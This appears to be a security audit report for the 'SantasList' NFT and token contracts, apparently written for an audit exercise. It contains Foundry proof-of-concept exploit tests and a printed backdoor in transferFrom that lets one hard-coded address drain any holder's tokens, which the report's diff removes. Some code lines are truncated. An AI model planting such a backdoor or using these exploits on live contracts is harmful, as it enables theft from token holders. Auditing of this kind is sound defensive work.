Title	Author	Date
SantasList audit	@justAWanderKid	2024-07-26

Table of Contents

Protocol Summary

`SantasList` Project Gives Presents to `NICE` and `EXTRA_NICE` people.

Summary of Findings

Severity	Issue Count
High-Risk	6
Medium-Risk	0
Low-Risk	4
Informational	0

Findings

HIGH

[HIGH-1] malicious transferFrom function that SantaToken Inherits from.

Description

`ERC20` contract that `SantaToken.sol` inherits, is malicious because of how `tranferFrom()` function is Built. if we take a look at the `tranferFrom()` function, this `0x815F577F1c1bcE213c012f166744937C889DAF17` Address Can Drain a given User Balance and send it to him or anyone else.

Impact

`0x815F577F1c1bcE213c012f166744937C889DAF17` Address Can Steal Any Address Balance that holds `SantaTokens`.

Proof of Concepts

```
    function testMaliciousTransferFrom() external {
        // santa sets `user` status to `EXTRA_NICE`.
        vm.startPrank(santa);
        santasList.checkList(user, SantasList.Status.EXTRA_NICE);
        santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
        vm.stopPrank();

        vm.startPrank(user);
        vm.warp(1_703_500_000);
        // `user` collects present receives 1 NFT plus 1e18 SantaTokens.
        santasList.collectPresent();
        vm.stopPrank();

        console2.log("Current SantaToken `user` Balance After Collecting Present: ", santaTo
        assertEq(santaToken.balanceOf(user), 1e18);

        // malicious actor steals `user` balance with transferFrom().
        address maliciousActor = 0x815F577F1c1bcE213c012f166744937C889DAF17;
        vm.startPrank(maliciousActor);
        console2.log("MaliciousActor Comes in Tries to Call transferFrom() to Steal `user` b
        santaToken.transferFrom(user, maliciousActor, 1e18);
        vm.stopPrank();

        console2.log("Current SantaToken `user` Balance After MaliciousActor Stole his/her T
        console2.log("Current SantaToken `maliciousActor` Balance After Stealing it From `us
        assertEq(santaToken.balanceOf(user), 0);
        assertEq(santaToken.balanceOf(maliciousActor), 1e18);
    }
```

run the test with following command:

```
forge test --match-test testMaliciousTransferFrom -vvvv
```

take a Look at the Logs:

```
Logs:
    Current SantaToken `user` Balance After Collecting Present:  1000000000000000000
    MaliciousActor Comes in Tries to Call transferFrom() to Steal `user` balance.
    Current SantaToken `user` Balance After MaliciousActor Stole his/her Tokens:  0
    Current SantaToken `maliciousActor` Balance After Stealing it From `user` with trans
```

Recommended mitigation

remove this part from the `transferFrom()` function:

```
    function transferFrom(address from, address to, uint256 amount) public virtual returns (
-       if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
-           balanceOf[from] -= amount;
-           unchecked {
-               balanceOf[to] += amount;
-           }
-           emit Transfer(from, to, amount);
-           return true;
-       }

        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(from, to, amount);

        return true;
    }
```

[HIGH-2] Wrong Status order, every Address is Considered `NICE` by Default.

Description

if we take a look at the `enum:Status`, the first Status is `NICE`, which is

`0`. if we take an Any Address and pass it to `s_theListCheckedOnce` or `s_theListCheckedTwice` mappings, we get `0` in return which basically tell's that given address is considered as `NICE`.

Impact

Every Address is Considered `NICE` and in result can Receive free NFT.

Proof of Concepts

```
    function testEveryAddressIsNiceByDefault() external {
        // Status.NICE is 0
        vm.prank(user);
        SantasList.Status checkOnceStatus = santasList.getNaughtyOrNiceOnce(user);
        SantasList.Status checkTwiceStatus = santasList.getNaughtyOrNiceTwice(user);

        console2.log("Check Once Status: ", uint256(checkOnceStatus));
        console2.log("Check Twice Status: ", uint256(checkTwiceStatus));

        // 0 == 0
        assert(uint256(checkOnceStatus) == uint256(checkTwiceStatus));
    }
```

Run the Test with Following Command:

```
    forge test --match-test testEveryAddressIsNiceByDefault -vvvv
```

Take a Look at the `Logs`:

```
    Logs:
        Check Once Status:  0
        Check Twice Status:  0
```

Recommended mitigation

Reorder the Status enum:

```
    enum Status {
+       UNKNOWN,
+       NAUGHTY,
+       NICE,
+       EXTRA_NICE
    }
```

[HIGH-3] Anyone can call `checkList()` function to Set a Status for himself or Set Status For Others.

Description

as the title says, Anyone can call `checkList()` function to Set a Status for himself or Set Status For Others. but in natspec of the function it's been said that only `santa` should be able to call it, which this is not the case.

Impact

Anyone Can set himself as `NICE` or `EXTRA_NICE` and also Anyone can Set other's `NAUGHTY` or `NOT_CHECKED_TWICE`, which will prevent them from collecting present.

Proof of Concepts

```
function testAnyoneCanSetStatusForHimselfOrOthers() external {
    address user2 = makeAddr("user2");

    vm.prank(user);
    // set Status for `user`
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);
    // set Status for `user2`
    santasList.checkList(user2, SantasList.Status.NAUGHTY);

    SantasList.Status statusOfuser = santasList.getNaughtyOrNiceOnce(user);
    SantasList.Status statusOfuser2 = santasList.getNaughtyOrNiceOnce(user2);

    // Status.EXTRA_NICE is equal to 1
    assert(uint256(statusOfuser) == 1);
    // Status.NAUGHTY is equal to 2
    assert(uint256(statusOfuser2) == 2);
}
```

Run the Test with Following Command:

```
forge test --match-test testAnyoneCanSetStatusForHimselfOrOthers -vvvv
```

Recommended mitigation

add `onlySanta()` modifier to `checkList()` function.

[HIGH-4] `NICE` and `EXTRA_NICE` people can get infinite amount of NFT And SantaTokens.

Description

if we take a look at `collectPresent()` function, after we mint users NFT and SantaTokens, we do not set the `msg.sender` Status to `NAUGHTY` or `NOT_CHECKED_TWICE`. user's can take advantage of it and get unlimited amount SantaTokens and NFT's.

Impact

user's that have `NICE` or `EXTRA_NICE` Status, can take advantage of This function and get unlimited amount SantaTokens and NFT's.

Proof of Concepts

```
function testUserMintsHimselfUnlimitedAmountNFTandSantaTokens() external {
    address user2 = makeAddr("user2");
```

```
        vm.startPrank(santa);
        santasList.checkList(user, SantasList.Status.EXTRA_NICE);
        santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
        vm.stopPrank();

        vm.startPrank(user);
        vm.warp(1_703_500_000);

        for (uint i = 0; i < 4; i++) {
            santasList.collectPresent();
            santasList.safeTransferFrom(user, user2, i);
        }

        vm.stopPrank();

        // `user2` SANTA NFT balance is 4
        assertEq(santasList.balanceOf(user2), 4);
        // `user` SantaToken balance is 4e18
        assertEq(santaToken.balanceOf(user), 4e18);
    }
```

```
    forge test --match-test testUserMintsHimselfUnlimitedAmountNFTandSantaTokens -vvvv
```

Recommended mitigation

add following lines to the `collectPresent()` function so the same user cannot collect Presents multiple times:

```
    function collectPresent() external {
        if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
            revert SantasList__NotChristmasYet();
        }
        if (balanceOf(msg.sender) > 0) {
            revert SantasList__AlreadyCollected();
        }
        if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sen
            _mintAndIncrement();
+           s_theListCheckedOnce[msg.sender] = Status.NAUGHTY;
+           s_theListCheckedTwice[msg.sender] = Status.NAUGHTY;
            return;
        } else if (s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListChecked
            _mintAndIncrement();
            i_santaToken.mint(msg.sender);
+           s_theListCheckedOnce[msg.sender] = Status.NAUGHTY;
+           s_theListCheckedTwice[msg.sender] = Status.NAUGHTY;
            return;
        }
```

```
        revert SantasList__NotNice();
    }
```

[HIGH-5] if We Pass Someone Address that holds atleast 1e18 SantaToken's to `buyPresent()` function, it will burn the Given Address Tokens And msg.sender Gonna Receive the NFT.

Description

if We Pass Someone Address that holds atleast 1e18 SantaToken's to `buyPresent()` function, it will burn the Given Address Tokens And msg.sender Gonna Receive the NFT.

Impact

Malicious Actor Can get Free NFT by Burning Other People SantaToken's.

Proof of Concepts

the Attack Looks Like this:

```
    function testMaliciousActorBurnsSomeoneElseTokensToReceiveNFT() external {
        address maliciousActor = makeAddr("maliciousActor");

        vm.startPrank(santa);
        santasList.checkList(user, SantasList.Status.EXTRA_NICE);
        santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
        vm.stopPrank();

        vm.startPrank(user);
        vm.warp(1_703_500_000);
        santasList.collectPresent();
        vm.stopPrank();

        vm.startPrank(maliciousActor);
        santasList.buyPresent(user);
        vm.stopPrank();

        assertEq(santasList.balanceOf(maliciousActor), 1);
        assertEq(santaToken.balanceOf(user), 0);
    }
```

to Run the Test, Run the Following Command in terminal:

```
forge test --match-test testMaliciousActorBurnsSomeoneElseTokensToReceiveNFT -vvvv
```

Recommended mitigation

burn the `msg.sender` SantaToken's and remove `presentReceiver` parameter:

```
+   function buyPresent() external {
+       i_santaToken.burn(msg.sender);
        _mintAndIncrement();
    }
```

[HIGH-6] We do Not Set TOKEN URI for the given tokenId we mint the User, which results in the msg.sender receiving empty ERC721 token that is Not the Santa NFT.

Description

As the Title Says, We do Not Set TOKEN URI for the given tokenId we mint the User in `_mintAndIncrement()` function, which results in the msg.sender receiving empty ERC721 token that is Not the Santa NFT. The NFT we Mint to User has no properties including description, image or anything.

Impact

Since We Do not Set the TokenURI for the Given tokenId, the NFT will have no description, image or anything.

Recommended mitigation

import the `ERC721URIStorage` from openzeppelin in `SantasList.sol` and make the following change to `_mintAndIncrement()`:

```
+   import {ERC721URIStorage} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721UR

+   contract SantasList is ERC721, ERC721URIStorage, TokenUri {
        function _mintAndIncrement() private {
+           _safeMint(msg.sender, s_tokenCounter);
+           _setTokenURI(s_tokenCounter, tokenURI());
+           s_tokenCounter++;
        }
    }
```

MEDIUM

LOW

[LOW-1] SantasList and TokenURI contract cannot be deployed due it's size that exceeds 24kb.

Description

`Arbitrum` Contract Code's have a size limit which is 24kb, which `SantasList` and `TokenURI` exceeds that amount, which can be lead to failed Contract Deployment.

Impact

Cannot Deploy `SantasList` and `TokenURI` Contract.

Proof of Concepts

run the following command in terminal:

```
forge build --sizes
```

the Output Looks like this:

```
| Contract    | Size (B) | Margin (B) |
|-------------|----------|------------|
| ERC721Utils |       86 |     24,490 |
| Math        |       86 |     24,490 |
| Panic       |       86 |     24,490 |
| SafeCast    |       86 |     24,490 |
| SantaToken  |    3,324 |     21,252 |
| SantasList  |   56,434 |    -31,858 |
| SignedMath  |       86 |     24,490 |
| Strings     |       86 |     24,490 |
| TokenUri    |   51,615 |    -27,039 |
```

Recommended mitigation

Upload the TokenURI to `ipfs`, then Replace the given `ipfs` link with the Current TokenURI.

[LOW-2] `enum:Status` is missing `UNKNOWN`.

Description

it's stated in docs that the users are either `NICE`, `EXTRA_NICE`, `NAUGHTY`, or `UNKNOWN`, but `enum:Status` is missing `UNKNOWN`.

Impact

there's no way to mark the user's that are not `NICE` or `EXTRA_NICE` as something that tells the current user status.

Recommended mitigation

replace `NOT_CHECKED_TWICE` with `UKNOWN`.

```
    enum Status {
        NICE,
        EXTRA_NICE,
        NAUGHTY,
-       NOT_CHECKED_TWICE
+       UKNOWN
    }
```

[LOW-3] `NICE` and `EXTRA_NICE` pay 1e18 to buy a present, instead of 2e18 which is stated in docs.

Description

In the documentation, it is stated that to buy a present, msg.sender should pay `2e18` SantaTokens to receive an NFT. However, `NICE` and `EXTRA_NICE` pay `1e18` SantaTokens to get the NFT.

Impact

`NICE` and `EXTRA_NICE` pay Half of `2e18` SantaTokens to buy present.

Proof of Concepts

```
    function testBuyPresentWith1e18() external {
        // santa sets `user` status to `EXTRA_NICE`.
        vm.startPrank(santa);
        santasList.checkList(user, SantasList.Status.EXTRA_NICE);
        santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
        vm.stopPrank();

        vm.startPrank(user);
        vm.warp(1_703_500_000);

        // `user` collects present receives 1 NFT plus 1e18 SantaTokens.
        santasList.collectPresent();

        assertEq(santaToken.balanceOf(user), 1e18);
        console2.log("Current SantaToken `user` Balance After Collecting Present: ", santaTo

        // `user` Spents his 1e18 Santatoken's to buy an NFT.
        santasList.buyPresent(user);

        // as you can See in `Logs` section, shows SantaToken balance of `user` is 0.
        console2.log("Current SantaToken `user` Balance After Buying the Present with 1e18 S
        assertEq(santaToken.balanceOf(user), 0);

        vm.stopPrank();
    }
```

run the following command:

```
forge test --match-test testBuyPresentWith1e18 -vvvv
```

take a Look at the `Logs`:

```
Logs:
    Current User Balance After Collecting Present:  1000000000000000000
    Current User Balance After Buying the Present:  0
```

Recommended mitigation

change `mint()` and `burn()` amount in `SantaToken.sol`:

```
    function mint(address to) external {
        if (msg.sender != i_santasList) {
            revert SantaToken__NotSantasList();
        }
-       _mint(to, 1e18);
+       _mint(to, 2e18);
    }

    function burn(address from) external {
        if (msg.sender != i_santasList) {
            revert SantaToken__NotSantasList();
        }
-       _burn(from, 1e18);
+       _burn(from, 2e18);
    }
```

[LOW-4] block.timestamp works differently in Arbitrum Network VS ETH.

Description

Read How the `block.timestamp` works in Arbitrum here

Impact

lets look at the if statement in:

```
        uint256 public constant CHRISTMAS_2023_BLOCK_TIME = 1_703_480_381;

        if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
            revert SantasList__NotChristmasYet();
        }
```

since in arbitrum `block.timestamp` can be `24 hours` earlier than current Real world time, it means that user can call `collectPresents()` function 24 hours after Christmass day in Real World.

Recommended mitigation

increment `CHRISTMAS_2023_BLOCK_TIME` by `12 hours` so users can call the function within 24 hours before the Christmass.

INFORMATIONAL